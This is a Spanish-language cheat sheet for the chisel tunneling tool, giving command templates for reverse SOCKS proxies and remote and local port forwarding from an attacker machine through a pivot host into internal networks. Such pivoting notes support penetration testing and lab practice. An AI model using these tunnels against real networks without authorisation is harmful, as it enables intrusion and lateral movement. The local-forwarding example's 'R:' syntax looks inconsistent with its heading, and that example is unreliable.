# chisel

## General (socks / proxy)

```bash
# General
# proxychains
sudo nano /etc/proxychains.conf
socks5 127.0.0.1 1080
# web browser
FoxyProxy: socks5, 127.0.0.1, 1080
# máquina atacante
./chisel server --host <attacker-IP-address> -p <listen-port> --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:<listen-port> R:socks

# Ejemplo I
# máquina atacante
./chisel server --host <attacker-IP-address> -p 10001 --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:10001 R:1080:socks

# Ejemplo II
# máquina atacante
./chisel client <listen-IP-address>:10001 1080:socks
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p 10001 --socks5
```

* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* \<listen-port> = puerto local de nuestra máquina (atacante).
* \<listen-IP-address> = dirección IP de la máquina que nos permite pivotear.

## Remote port forwarding

```bash
# General
# máquina atacante
./chisel server --host <attacker-IP-address> -p <listen-port> --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:<listen-port> R:<local-port>:<destination-IP-address>:<destination-port>

# Ejemplo
# máquina atacante
./chisel server --host <attacker-IP-address> -p 10001 --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:10001 R:8080:X.X.X.2:80
# web browser
http://127.0.0.1:8080
```

* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* \<listen-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.

## Local port forwarding

```bash
# General
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p <listen-port>
# máquina atacante
./chisel client <listen-IP-address>:<listen-port> R:<local-port>:<destination-IP-address>:<destination-port>

# Ejemplo
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p 10001
# máquina atacante
./chisel client <listen-IP-address>:10001 R:8080:X.X.X.2:80
# web browser
http://127.0.0.1:8080
```

* \<listen-IP-address> = dirección IP de la máquina que nos permite pivotear.
* \<listen-port> = puerto local de la máquina que nos permite pivotear.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.
